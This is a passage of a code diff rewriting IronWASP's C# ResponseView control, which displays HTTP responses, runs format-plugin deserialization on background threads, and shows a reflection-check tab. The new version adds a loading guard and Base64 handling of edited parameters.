if(FormatPluginCallingThread != null) - { - try - { - FormatPluginCallingThread.Abort(); - } - catch { } - } - - if(ReflectionCheckingThread != null) - { - try - { - ReflectionCheckingThread.Abort(); - } - catch { } - } - ShowStatusMsg(""); - ShowProgressBar(false); - } - } - - delegate void ShowStatusMsg_d(string Msg); - public void ShowStatusMsg(string Msg) - { - if (this.BaseTabs.InvokeRequired) - { - ShowStatusMsg_d InvokeDelegate_d = new ShowStatusMsg_d(ShowStatusMsg); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Msg }); - } - else - { - StatusAndErrorTB.Text = Msg; - if (Msg.Length == 0) - { - StatusAndErrorTB.Visible = false; - } - else - { - StatusAndErrorTB.ForeColor = Color.Black; - StatusAndErrorTB.Visible = true; - } - } - } - - delegate void ShowErrorMsg_d(string Msg); - public void ShowErrorMsg(string Msg) - { - if (this.BaseTabs.InvokeRequired) - { - ShowErrorMsg_d InvokeDelegate_d = new ShowErrorMsg_d(ShowErrorMsg); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Msg }); - } - else - { - StatusAndErrorTB.Text = Msg; - if (Msg.Length == 0) - { - StatusAndErrorTB.Visible = false; - } - else - { - StatusAndErrorTB.ForeColor = Color.Red; - StatusAndErrorTB.Visible = true; - } - } - } - - delegate void ShowProgressBar_d(bool Show); - public void ShowProgressBar(bool Show) - { - if (this.BaseTabs.InvokeRequired) - { - ShowProgressBar_d InvokeDelegate_d = new ShowProgressBar_d(ShowProgressBar); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Show }); - } - else - { - this.WaitProgressBar.Visible = Show; - } - } - - //public void SetResponse(Response Res) - //{ - // this.SetResponse(Res, null); - //} - - delegate void SetResponse_d(Response Res, Request Req); - public void SetResponse(Response Res, Request Req) - { - if (this.BaseTabs.InvokeRequired) - { - SetResponse_d InvokeDelegate_d = new SetResponse_d(SetResponse); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Res, Req }); - } - else - { - this.ClearData(); - - this.SetHeader(Res); - this.SetBody(Res); - this.SetRoundTrip(Res.RoundTrip); - FormatPluginsGrid.Rows.Clear(); - foreach (string Name in FormatPlugin.List()) - { - FormatPluginsGrid.Rows.Add(new object[] { false, Name }); - } - this.ResetAllChangedValueStatus(); - this.DisplayedResponse = Res; - this.RequestOfDisplayedResponse = Req; - this.AutoDetectFormatAndSetBodyParameters(Res); - CheckAndShowReflection(); - } - } - - delegate void SetHeader_d(Response Res); - void SetHeader(Response Res) - { - if (this.BaseTabs.InvokeRequired) - { - SetHeader_d InvokeDelegate_d = new SetHeader_d(SetHeader); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Res }); - } - else - { - this.HeadersTBP.SetText(Res.GetHeadersAsString()); - this.ResetHeadersChangedStatus(); - } - } - - delegate void SetRoundTrip_d(int RoundTrip); - void SetRoundTrip(int RoundTrip) - { - if (this.BaseTabs.InvokeRequired) - { - SetRoundTrip_d InvokeDelegate_d = new SetRoundTrip_d(SetRoundTrip); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { RoundTrip }); - } - else - { - this.RoundTripLbl.Text = string.Format("{0} ms", RoundTrip); - } - } - - delegate void SetBody_d(Response Res); - void SetBody(Response Res) - { - if (this.BaseTabs.InvokeRequired) - { - SetBody_d InvokeDelegate_d = new SetBody_d(SetBody); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Res }); - } - else - { - if (Res.HasBody) - { - if (Res.IsBinary) - this.BodyTBP.SetBytes(Res.BodyArray); - else - this.BodyTBP.SetText(Res.BodyString); - } - this.ResetBodyChangedStatus(); - } - } - - void AutoDetectFormatAndSetBodyParameters(Response Res) - { - if (FormatPluginCallingThread != null) - { - try - { - FormatPluginCallingThread.Abort(); - } - catch { } - } - ShowStatusMsg("Detecting Request body format.."); - ShowProgressBar(true); - FormatPluginCallingThread = new Thread(AutoDetectFormatAndSetBodyParameters); - FormatPluginCallingThread.Start(Res); - } - void AutoDetectFormatAndSetBodyParameters(object ResObj) - { - try - { - Response Res = ((Response)ResObj).GetClone(); - string FPName = FormatPlugin.Get(Res); - if (FPName.Length > 0 && FPName != "Normal") - { - try - { - FormatPlugin FP = FormatPlugin.Get(FPName); - CurrentFormatXml = FP.ToXmlFromResponse(Res); - CurrentXmlNameValueArray = FormatPlugin.XmlToArray(CurrentFormatXml); - SetDeserializedDataInUi(FP.Name, CurrentFormatXml, CurrentXmlNameValueArray); - } - catch - { } - } - this.ResetBodyTypeFormatPluginsParametersChangedStatus(); - ShowStatusMsg(""); - ShowProgressBar(false); - } - catch{} - } - - public Response GetResponse() - { - try - { - return this.GetResponseOrException(); - } - catch - { - return null; - } - } - public Response GetResponseOrException() - { - this.HandleAllDataChanges(); - if (FormatPluginCallingThread != null) - { - try - { - while (FormatPluginCallingThread.ThreadState == ThreadState.Running) - { - Thread.Sleep(100); - } - } - catch { } - } - return DisplayedResponse; - } - - delegate void UpdateResponse_d(); - public void UpdateResponse() - { - if (this.BaseTabs.InvokeRequired) - { - UpdateResponse_d InvokeDelegate_d = new UpdateResponse_d(UpdateResponse); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { }); - } - else - { - try - { - this.HandleAllDataChanges(); - } - catch (Exception Exp) - { - ShowErrorMsg(Exp.Message); - } - } - } - - void HandleAllDataChanges() - { - if (this.ReadOnly) return; - if (HeadersChanged || BodyChanged ) - { - ShowStatusMsg(""); - } - if (HeadersChanged) - { - Response NewResponse; - if (DisplayedResponse.HasBody) - { - if (DisplayedResponse.IsBinary) - NewResponse = new Response(HeadersTBP.GetText(), BodyTBP.GetBytes()); - else - NewResponse = new Response(HeadersTBP.GetText(), BodyTBP.GetText()); - } - else - { - NewResponse = new Response(HeadersTBP.GetText(), new byte[]{}); - } - this.DisplayedResponse = NewResponse; - ResetHeadersChangedStatus(); - } - if (BodyChanged && this.DisplayedResponse != null) - { - if (BodyTBP.IsBinary) - this.DisplayedResponse.BodyArray = BodyTBP.GetBytes(); - else - this.DisplayedResponse.BodyString = BodyTBP.GetText(); - AutoDetectFormatAndSetBodyParameters(this.DisplayedResponse); - ResetBodyChangedStatus(); - CheckAndShowReflection(); - } - if (BodyTypeFormatPluginsParametersChanged && this.DisplayedResponse != null) - { - string[,] EditedNameValuePairs = new string[BodyFormatPluginsParametersGrid.Rows.Count, 2]; - foreach (DataGridViewRow Row in BodyFormatPluginsParametersGrid.Rows) - { - EditedNameValuePairs[Row.Index, 0] = Row.Cells[0].Value.ToString(); - if (Row.Cells[1].Value == null) - EditedNameValuePairs[Row.Index, 1] = ""; - else - EditedNameValuePairs[Row.Index, 1] = Row.Cells[1].Value.ToString(); - } - string PluginName = GetSelectedFormatPluginName(); - if (PluginName.Length > 0) - SerializeNewParametersWithFormatPlugin(EditedNameValuePairs, PluginName); - ResetBodyTypeFormatPluginsParametersChangedStatus(); - } - } - - void ClearBodyTypeFormatPluginsUi() - { - BodyFormatPluginsParametersGrid.Rows.Clear(); - ConvertXmlToObjectBtn.Text = "Convert this XML to Object"; - FormatXmlTBP.ClearData(); - foreach (DataGridViewRow Row in FormatPluginsGrid.Rows) - { - Row.Cells[0].Value = false; - } - ResetBodyFormatXmlChangedStatus(); - ResetBodyTypeFormatPluginsParametersChangedStatus(); - } - - void ResetAllChangedValueStatus() - { - ResetHeadersChangedStatus(); - ResetBodyChangedStatus(); - ResetBodyTypeFormatPluginsParametersChangedStatus(); - ResetBodyFormatXmlChangedStatus(); - } - - void ResetHeadersChangedStatus() - { - HeadersChanged = false; - } - void ResetBodyChangedStatus() - { - BodyChanged = false; - } - void ResetBodyTypeFormatPluginsParametersChangedStatus() - { - BodyTypeFormatPluginsParametersChanged = false; - } - void ResetBodyFormatXmlChangedStatus() - { - BodyFormatXmlChanged = false; - } - - private void BaseTabs_Deselecting(object sender, TabControlCancelEventArgs e) - { - try - { - this.HandleAllDataChanges(); - } - catch (Exception Exp) { ShowErrorMsg(Exp.Message); } - } - - private void FormatPluginsGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (this.DisplayedResponse == null) return; - string PluginName = ""; - CurrentFormatXml = ""; - CurrentXmlNameValueArray = new string[,] { }; - foreach (DataGridViewRow Row in FormatPluginsGrid.Rows) - { - if (e.RowIndex == Row.Index) - { - PluginName = Row.Cells[1].Value.ToString(); - } - Row.Cells[0].Value = false; - } - BodyFormatPluginsParametersGrid.Rows.Clear(); - FormatXmlTBP.ClearData(); - ConvertXmlToObjectBtn.Text = "Convert this XML to Object"; - if (FormatPluginCallingThread != null) - { - try - { - FormatPluginCallingThread.Abort(); - } - catch { } - } - if (PluginName.Length == 0) return; - ShowStatusMsg(string.Format("Parsing Response body as {0}", PluginName)); - ShowProgressBar(true); - FormatPluginCallingThread = new Thread(DeserializeWithFormatPlugin); - FormatPluginCallingThread.Start(PluginName); - } - - private void ConvertXmlToObjectBtn_Click(object sender, EventArgs e) - { - if (this.ReadOnly) return; - if (BodyFormatXmlChanged) - { - string XML = FormatXmlTBP.GetText(); - string PluginName = this.GetSelectedFormatPluginName(); - if (PluginName.Length > 0 && XML.Length > 0) - this.SerializeNewXmlWithFormatPlugin(XML, PluginName); - } - ResetBodyFormatXmlChangedStatus(); - } - - private void FormatXmlTBP_ValueChanged() - { - BodyFormatXmlChanged = true; - } - - private void BodyFormatPluginsParametersGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) - { - BodyTypeFormatPluginsParametersChanged = true; - if (DisplayedResponse != null && ResponseChanged != null) - ResponseChanged(); - } - - private void BodyTBP_ValueChanged() - { - BodyChanged = true; - if (DisplayedResponse != null && ResponseChanged != null) - ResponseChanged(); - } - - private void HeadersTBP_ValueChanged() - { - HeadersChanged = true; - if (DisplayedResponse != null && ResponseChanged != null) - ResponseChanged(); - } - - void DeserializeWithFormatPlugin(object PluginNameObject) - { - string PluginName = PluginNameObject.ToString(); - try - { - Response Res = DisplayedResponse.GetClone(true); - FormatPlugin FP = FormatPlugin.Get(PluginName); - CurrentFormatXml = FP.ToXmlFromResponse(Res); - CurrentXmlNameValueArray = FormatPlugin.XmlToArray(CurrentFormatXml); - ShowStatusMsg(""); - SetDeserializedDataInUi(PluginName, CurrentFormatXml, CurrentXmlNameValueArray); - ShowProgressBar(false); - } - catch (ThreadAbortException) - { - ShowStatusMsg(""); - } - catch (Exception Exp) - { - IronException.Report(string.Format("Error converting Response to {0}", PluginName), Exp); - ShowErrorMsg(string.Format("Unable to parse Response body as {0}", PluginName)); - ShowProgressBar(false); - } - } - - delegate void SetDeserializedDataInUi_d(string PluginName, string XML, string[,] XmlNameValueArray); - void SetDeserializedDataInUi(string PluginName, string XML, string[,] XmlNameValueArray) - { - if (this.BaseTabs.InvokeRequired) - { - SetDeserializedDataInUi_d InvokeDelegate_d = new SetDeserializedDataInUi_d(SetDeserializedDataInUi); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { PluginName, XML, XmlNameValueArray }); - } - else - { - foreach (DataGridViewRow Row in FormatPluginsGrid.Rows) - { - if (Row.Cells[1].Value.ToString().Equals(PluginName)) - Row.Cells[0].Value = true; - else - Row.Cells[0].Value = false; - } - FormatXmlTBP.SetText(XML); - ConvertXmlToObjectBtn.Text = string.Format("Convert this XML to {0}", PluginName); - BodyFormatPluginsParametersGrid.Rows.Clear(); - for (int i = 0; i < XmlNameValueArray.GetLength(0); i++) - { - int RowId = BodyFormatPluginsParametersGrid.Rows.Add(new object[] { XmlNameValueArray[i, 0], XmlNameValueArray[i, 1], Properties.Resources.Glass }); - BodyFormatPluginsParametersGrid.Rows[RowId].Cells[1].ReadOnly = this.ReadOnly; - } - } - } - - void SerializeNewParametersWithFormatPlugin(string[,] EditedXmlNameValueArray, string PluginName) - { - for (int i = 0; i < this.CurrentXmlNameValueArray.GetLength(0); i++) - { - if (this.CurrentXmlNameValueArray[i, 0].Equals(EditedXmlNameValueArray[i, 0])) - { - if (!this.CurrentXmlNameValueArray[i, 1].Equals(EditedXmlNameValueArray[i, 1])) - { - this.CurrentFormatXml = FormatPlugin.InjectInXml(this.CurrentFormatXml, i, EditedXmlNameValueArray[i, 1]); - } - } - } - this.CurrentXmlNameValueArray = EditedXmlNameValueArray; - this.SerializeNewXmlWithFormatPlugin(this.CurrentFormatXml, PluginName); - } - void SerializeNewXmlWithFormatPlugin(string XML, string PluginName) - { - this.CurrentFormatXml = XML; - this.CurrentXmlNameValueArray = FormatPlugin.XmlToArray(this.CurrentFormatXml); - if (FormatPluginCallingThread != null) - { - try - { - FormatPluginCallingThread.Abort(); - } - catch { } - } - ShowProgressBar(true); - ShowStatusMsg(string.Format("Updating edited values in {0}", PluginName)); - FormatPluginCallingThread = new Thread(SerializeNewXmlWithFormatPlugin); - FormatPluginCallingThread.Start(PluginName); - } - - void SerializeNewXmlWithFormatPlugin(object PluginNameObject) - { - string PluginName = PluginNameObject.ToString(); - try - { - Response Res = DisplayedResponse.GetClone(true); - FormatPlugin FP = FormatPlugin.Get(PluginName); - Response NewResponse = FP.ToResponseFromXml(Res, CurrentFormatXml); - this.DisplayedResponse = NewResponse; - ShowStatusMsg(""); - this.SetNonFormatPluginResponseFields(NewResponse); - ShowProgressBar(false); - CheckAndShowReflection(); - } - catch (ThreadAbortException) - { - ShowStatusMsg(""); - } - catch (Exception Exp) - { - IronException.Report(string.Format("Error converting {0} to Response", PluginName), Exp); - ShowErrorMsg(string.Format("Unable to update edited values in {0}", PluginName)); - ShowProgressBar(false); - } - } - delegate void SetNonFormatPluginResponseFields_d(Response Res); - void SetNonFormatPluginResponseFields(Response Res) - { - if (this.BaseTabs.InvokeRequired) - { - SetNonFormatPluginResponseFields_d InvokeDelegate_d = new SetNonFormatPluginResponseFields_d(SetNonFormatPluginResponseFields); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Res }); - } - else - { - this.SetHeader(Res); - this.SetBody(Res); - } - } - - string GetSelectedFormatPluginName() - { - foreach (DataGridViewRow Row in FormatPluginsGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - return Row.Cells[1].Value.ToString(); - } - return ""; - } - - private void ResponseView_Load(object sender, EventArgs e) - { - FormatPluginsGrid.Rows.Clear(); - foreach (string Name in FormatPlugin.List()) - { - FormatPluginsGrid.Rows.Add(new object[] { false, Name }); - } - if (!HasReflectionTab) - { - BaseTabs.TabPages.RemoveByKey("ReflectionsTab"); - } - ToolTip Tips = new ToolTip(); - Tips.SetToolTip(RenderLbl, "Render using IE's rendering engine"); - Tips.SetToolTip(ScreenshotBtn, "Screenshot mode"); - } - - void CheckAndShowReflection() - { - if (DisplayedResponse != null && RequestOfDisplayedResponse != null && HasReflectionTab) - { - Session Sess = new Session(RequestOfDisplayedResponse, DisplayedResponse); - if (ReflectionCheckingThread != null) - { - try - { - ReflectionCheckingThread.Abort(); - } - catch { } - } - ShowReflection("Checking for reflection..."); - ReflectionCheckingThread = new Thread(CheckReflection); - ReflectionCheckingThread.Start(Sess); - } - } - - void CheckReflection(object SessObject) - { - if (!HasReflectionTab) return; - try - { - Session Sess = (Session)SessObject; - string Reflection = Analyzer.CheckReflections(Sess); - ShowReflection(Reflection); - } - catch (ThreadAbortException) { } - catch (Exception Exp) - { - ShowReflection("Error when checking for reflections"); - IronException.Report("Error checking reflections", Exp); - } - } - - delegate void ShowReflection_d(string ReflectionString); - void ShowReflection(string ReflectionString) - { - if (this.BaseTabs.InvokeRequired) - { - ShowReflection_d InvokeDelegate_d = new ShowReflection_d(ShowReflection); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { ReflectionString }); - } - else - { - if (!HasReflectionTab) return; - StringBuilder ReflectionBuilder = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); - ReflectionBuilder.Append(Tools.RtfSafe(ReflectionString)); - ReflectionRTB.Rtf = ReflectionBuilder.ToString(); - } - } - - private void RenderLbl_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - if (this.DisplayedResponse != null) - { - this.DisplayedResponse.Render(); - } - else - { - MessageBox.Show("No response available to render"); - } - } - - private void BodyFormatPluginsParametersGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (e.ColumnIndex == 2) - { - ExpandedParameterIndex = e.RowIndex; - SetEditTab(BodyFormatPluginsParametersGrid.Rows[e.RowIndex].Cells[1].Value.ToString()); - } - } - - void SetEditTab(string Value) - { - EditTBP.SetText(Value); - BaseTabs.TabPages["EditingTab"].Text = " Selected Parameter Value "; - BaseTabs.SelectTab("EditingTab"); - } - - void ClearEditTab() - { - EditTBP.SetText(""); - BaseTabs.TabPages["EditingTab"].Text = " "; - if (BaseTabs.SelectedTab.Name == "EditingTab") - { - BaseTabs.SelectTab("HeadersTab"); - } - } - - private void SaveEditsLbl_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - BodyFormatPluginsParametersGrid.Rows[ExpandedParameterIndex].Cells[1].Value = EditTBP.GetText(); - BodyTypeFormatPluginsParametersChanged = true; - BaseTabs.SelectTab("BodyParametersTab"); - ClearEditTab(); - } - - private void BaseTabs_Selecting(object sender, TabControlCancelEventArgs e) - { - if (e.TabPage.Text.Trim().Length == 0) - { - e.Cancel = true; - return; - } - } - - private void ScreenshotBtn_Click(object sender, EventArgs e) - { - if (this.DisplayedResponse != null) - { - if (this.RequestOfDisplayedResponse != null) - { - ScreenshotForm SF = new ScreenshotForm(); - SF.SetRequestResponse(this.RequestOfDisplayedResponse, this.DisplayedResponse); - SF.Show(); - } - else - { - MessageBox.Show("Request information is missing, cannot open in Screenshot mode"); - } - } - else - { - MessageBox.Show("No Response available for taking screenshot"); - } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Text; +using System.Windows.Forms; +using System.Threading; + +namespace IronWASP +{ + public partial class ResponseView : UserControl + { + public ResponseView() + { + InitializeComponent(); + } + + int ExpandedParameterIndex = 0; + + Request RequestOfDisplayedResponse; + Response DisplayedResponse; + + bool readOnly = false; + + bool HeadersChanged = false; + bool BodyChanged = false; + bool BodyTypeFormatPluginsParametersChanged = false; + bool BodyFormatXmlChanged = false; + + Thread FormatPluginCallingThread; + Thread ReflectionCheckingThread; + + string CurrentFormatXml = ""; + string[,] CurrentXmlNameValueArray = new string[,] { }; + + bool HasReflectionTab = true; + + bool LoadingResponse = false; + + public delegate void ResponseChangedEvent(); + + public event ResponseChangedEvent ResponseChanged; + + public bool IncludeReflectionTab + { + get + { + return HasReflectionTab; + } + set + { + if(HasReflectionTab) + { + if (!value) + HasReflectionTab = value; + } + } + } + + public bool ReadOnly + { + get + { + return readOnly; + } + set + { + SetReadOnly(value); + } + } + + delegate void SetReadOnly_d(bool ReadOnlyVal); + public void SetReadOnly(bool ReadOnlyVal) + { + if (this.BaseTabs.InvokeRequired) + { + SetReadOnly_d InvokeDelegate_d = new SetReadOnly_d(SetReadOnly); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { ReadOnlyVal }); + } + else + { + this.readOnly = ReadOnlyVal; + HeadersTBP.ReadOnly = ReadOnlyVal; + BodyTBP.ReadOnly = ReadOnlyVal; + FormatXmlTBP.ReadOnly = ReadOnlyVal; + EditTBP.ReadOnly = ReadOnly; + SaveEditsLbl.Visible = !ReadOnly; + //Disable format plugins + //Make all parameters grid value fields read-only + foreach (DataGridViewRow Row in BodyFormatPluginsParametersGrid.Rows) + { + Row.Cells[1].ReadOnly = this.ReadOnly; + } + ShowHideEmptyMessages(); + } + } + + public void ClearResponse() + { + if (!LoadingResponse) + { + this.DisplayedResponse = null; + this.ClearData(); + this.ShowHideEmptyMessages(); + } + else + { + ShowStatusMsg("Loading a Response is already in progress!"); + } + } + + delegate void ClearData_d(); + void ClearData() + { + if (this.BaseTabs.InvokeRequired) + { + ClearData_d InvokeDelegate_d = new ClearData_d(ClearData); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { }); + } + else + { + RoundTripLbl.Text = ""; + HeadersTBP.ClearData(); + BodyTBP.ClearData(); + FormatXmlTBP.ClearData(); + ConvertXmlToObjectBtn.Text = "Convert this XML to Object"; + BodyFormatPluginsParametersGrid.Rows.Clear(); + ReflectionRTB.Text = ""; + ClearEditTab(); + foreach (DataGridViewRow Row in FormatPluginsGrid.Rows) + { + Row.Cells[0].Value = false; + } + if(FormatPluginCallingThread != null) + { + try + { + FormatPluginCallingThread.Abort(); + } + catch { } + } + + if(ReflectionCheckingThread != null) + { + try + { + ReflectionCheckingThread.Abort(); + } + catch { } + } + ShowStatusMsg(""); + ShowProgressBar(false); + } + } + + delegate void ShowStatusMsg_d(string Msg); + public void ShowStatusMsg(string Msg) + { + if (this.BaseTabs.InvokeRequired) + { + ShowStatusMsg_d InvokeDelegate_d = new ShowStatusMsg_d(ShowStatusMsg); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Msg }); + } + else + { + StatusAndErrorTB.Text = Msg; + if (Msg.Length == 0) + { + StatusAndErrorTB.Visible = false; + } + else + { + StatusAndErrorTB.ForeColor = Color.Black; + StatusAndErrorTB.Visible = true; + } + } + } + + delegate void ShowErrorMsg_d(string Msg); + public void ShowErrorMsg(string Msg) + { + if (this.BaseTabs.InvokeRequired) + { + ShowErrorMsg_d InvokeDelegate_d = new ShowErrorMsg_d(ShowErrorMsg); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Msg }); + } + else + { + StatusAndErrorTB.Text = Msg; + if (Msg.Length == 0) + { + StatusAndErrorTB.Visible = false; + } + else + { + StatusAndErrorTB.ForeColor = Color.Red; + StatusAndErrorTB.Visible = true; + } + } + } + + delegate void ShowProgressBar_d(bool Show); + public void ShowProgressBar(bool Show) + { + if (this.BaseTabs.InvokeRequired) + { + ShowProgressBar_d InvokeDelegate_d = new ShowProgressBar_d(ShowProgressBar); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Show }); + } + else + { + this.WaitProgressBar.Visible = Show; + } + } + + //public void SetResponse(Response Res) + //{ + // this.SetResponse(Res, null); + //} + + delegate void SetResponse_d(Response Res, Request Req); + public void SetResponse(Response Res, Request Req) + { + if (this.BaseTabs.InvokeRequired) + { + SetResponse_d InvokeDelegate_d = new SetResponse_d(SetResponse); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Res, Req }); + } + else + { + if (!LoadingResponse) + { + LoadingResponse = true; + + this.ClearData(); + + this.SetHeader(Res); + this.SetBody(Res); + this.SetRoundTrip(Res.RoundTrip); + FormatPluginsGrid.Rows.Clear(); + foreach (string Name in FormatPlugin.List()) + { + FormatPluginsGrid.Rows.Add(new object[] { false, Name }); + } + this.ResetAllChangedValueStatus(); + this.DisplayedResponse = Res; + this.RequestOfDisplayedResponse = Req; + this.AutoDetectFormatAndSetBodyParameters(Res); + this.ShowHideEmptyMessages(); + CheckAndShowReflection(); + + LoadingResponse = false; + } + else + { + ShowStatusMsg("Loading a Response is already in progress!"); + } + } + } + + delegate void SetHeader_d(Response Res); + void SetHeader(Response Res) + { + if (this.BaseTabs.InvokeRequired) + { + SetHeader_d InvokeDelegate_d = new SetHeader_d(SetHeader); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Res }); + } + else + { + this.HeadersTBP.SetText(Res.GetHeadersAsString()); + this.ResetHeadersChangedStatus(); + } + } + + delegate void SetRoundTrip_d(int RoundTrip); + void SetRoundTrip(int RoundTrip) + { + if (this.BaseTabs.InvokeRequired) + { + SetRoundTrip_d InvokeDelegate_d = new SetRoundTrip_d(SetRoundTrip); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { RoundTrip }); + } + else + { + this.RoundTripLbl.Text = string.Format("{0} ms", RoundTrip); + } + } + + delegate void SetBody_d(Response Res); + void SetBody(Response Res) + { + if (this.BaseTabs.InvokeRequired) + { + SetBody_d InvokeDelegate_d = new SetBody_d(SetBody); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Res }); + } + else + { + if (Res.HasBody) + { + if (Res.IsBinary) + this.BodyTBP.SetBytes(Res.BodyArray); + else + this.BodyTBP.SetText(Res.BodyString); + } + this.ResetBodyChangedStatus(); + } + } + + void AutoDetectFormatAndSetBodyParameters(Response Res) + { + if (FormatPluginCallingThread != null) + { + try + { + FormatPluginCallingThread.Abort(); + } + catch { } + } + ShowStatusMsg("Detecting Request body format.."); + ShowProgressBar(true); + FormatPluginCallingThread = new Thread(AutoDetectFormatAndSetBodyParameters); + FormatPluginCallingThread.Start(Res); + } + void AutoDetectFormatAndSetBodyParameters(object ResObj) + { + try + { + Response Res = ((Response)ResObj).GetClone(); + string FPName = FormatPlugin.Get(Res); + if (FPName.Length > 0 && FPName != "Normal") + { + try + { + FormatPlugin FP = FormatPlugin.Get(FPName); + CurrentFormatXml = FP.ToXmlFromResponse(Res); + CurrentXmlNameValueArray = FormatPlugin.XmlToArray(CurrentFormatXml); + SetDeserializedDataInUi(FP.Name, CurrentFormatXml, CurrentXmlNameValueArray); + } + catch + { } + } + this.ResetBodyTypeFormatPluginsParametersChangedStatus(); + ShowStatusMsg(""); + ShowProgressBar(false); + } + catch{} + } + + public Response GetResponse() + { + try + { + return this.GetResponseOrException(); + } + catch + { + return null; + } + } + public Response GetResponseOrException() + { + this.HandleAllDataChanges(); + if (FormatPluginCallingThread != null) + { + try + { + while (FormatPluginCallingThread.ThreadState == ThreadState.Running) + { + Thread.Sleep(100); + } + } + catch { } + } + return DisplayedResponse; + } + + delegate void UpdateResponse_d(); + public void UpdateResponse() + { + if (this.BaseTabs.InvokeRequired) + { + UpdateResponse_d InvokeDelegate_d = new UpdateResponse_d(UpdateResponse); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { }); + } + else + { + try + { + this.HandleAllDataChanges(); + } + catch (Exception Exp) + { + ShowErrorMsg(Exp.Message); + } + } + } + + void HandleAllDataChanges() + { + if (this.ReadOnly) return; + if (HeadersChanged || BodyChanged ) + { + ShowStatusMsg(""); + } + if (HeadersChanged) + { + Response NewResponse; + if (DisplayedResponse.HasBody) + { + if (DisplayedResponse.IsBinary) + NewResponse = new Response(HeadersTBP.GetText(), BodyTBP.GetBytes()); + else + NewResponse = new Response(HeadersTBP.GetText(), BodyTBP.GetText()); + } + else + { + NewResponse = new Response(HeadersTBP.GetText(), new byte[]{}); + } + this.DisplayedResponse = NewResponse; + ResetHeadersChangedStatus(); + } + if (BodyChanged && this.DisplayedResponse != null) + { + if (BodyTBP.IsBinary) + this.DisplayedResponse.BodyArray = BodyTBP.GetBytes(); + else + this.DisplayedResponse.BodyString = BodyTBP.GetText(); + AutoDetectFormatAndSetBodyParameters(this.DisplayedResponse); + ResetBodyChangedStatus(); + CheckAndShowReflection(); + } + if (BodyTypeFormatPluginsParametersChanged && this.DisplayedResponse != null) + { + string[,] EditedNameValuePairs = new string[BodyFormatPluginsParametersGrid.Rows.Count, 2]; + foreach (DataGridViewRow Row in BodyFormatPluginsParametersGrid.Rows) + { + EditedNameValuePairs[Row.Index, 0] = Row.Cells[0].Value.ToString(); + if (Row.Cells[1].Value == null) + { + EditedNameValuePairs[Row.Index, 1] = ""; + } + else + { + try + { + EditedNameValuePairs[Row.Index, 1] = Tools.Base64Decode(Row.Cells[3].Value.ToString()); + } + catch + { + EditedNameValuePairs[Row.Index, 1] = Row.Cells[1].Value.ToString(); + } + } + } + string PluginName = GetSelectedFormatPluginName(); + if (PluginName.Length > 0) + SerializeNewParametersWithFormatPlugin(EditedNameValuePairs, PluginName); + ResetBodyTypeFormatPluginsParametersChangedStatus(); + } + } + + void ClearBodyTypeFormatPluginsUi() + { + BodyFormatPluginsParametersGrid.Rows.Clear(); + ConvertXmlToObjectBtn.Text = "Convert this XML to Object"; + FormatXmlTBP.ClearData(); + foreach (DataGridViewRow Row in FormatPluginsGrid.Rows) + { + Row.Cells[0].Value = false; + } + ResetBodyFormatXmlChangedStatus(); + ResetBodyTypeFormatPluginsParametersChangedStatus(); + } + + void ResetAllChangedValueStatus() + { + ResetHeadersChangedStatus(); + ResetBodyChangedStatus(); + ResetBodyTypeFormatPluginsParametersChangedStatus(); + ResetBodyFormatXmlChangedStatus(); + } + + void ResetHeadersChangedStatus() + { + HeadersChanged = false; + } + void ResetBodyChangedStatus() + { + BodyChanged = false; + } + void ResetBodyTypeFormatPluginsParametersChangedStatus() + { + BodyTypeFormatPluginsParametersChanged = false; + } + void ResetBodyFormatXmlChangedStatus() + { + BodyFormatXmlChanged = false; + } + + private void BaseTabs_Deselecting(object sender, TabControlCancelEventArgs e) + { + try + { + this.HandleAllDataChanges(); + } + catch (Exception Exp) { ShowErrorMsg(Exp.Message); } + } + + private void FormatPluginsGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (this.DisplayedResponse == null) return; + string PluginName = ""; + CurrentFormatXml = ""; + CurrentXmlNameValueArray = new string[,] { }; + foreach (DataGridViewRow Row in FormatPluginsGrid.Rows) + { + if (e.RowIndex == Row.Index) + { + PluginName = Row.Cells[1].Value.ToString(); + } + Row.Cells[0].Value = false; + } + BodyFormatPluginsParametersGrid.Rows.Clear(); + FormatXmlTBP.ClearData(); + ConvertXmlToObjectBtn.Text = "Convert this XML to Object"; + if (FormatPluginCallingThread != null) + { + try + { + 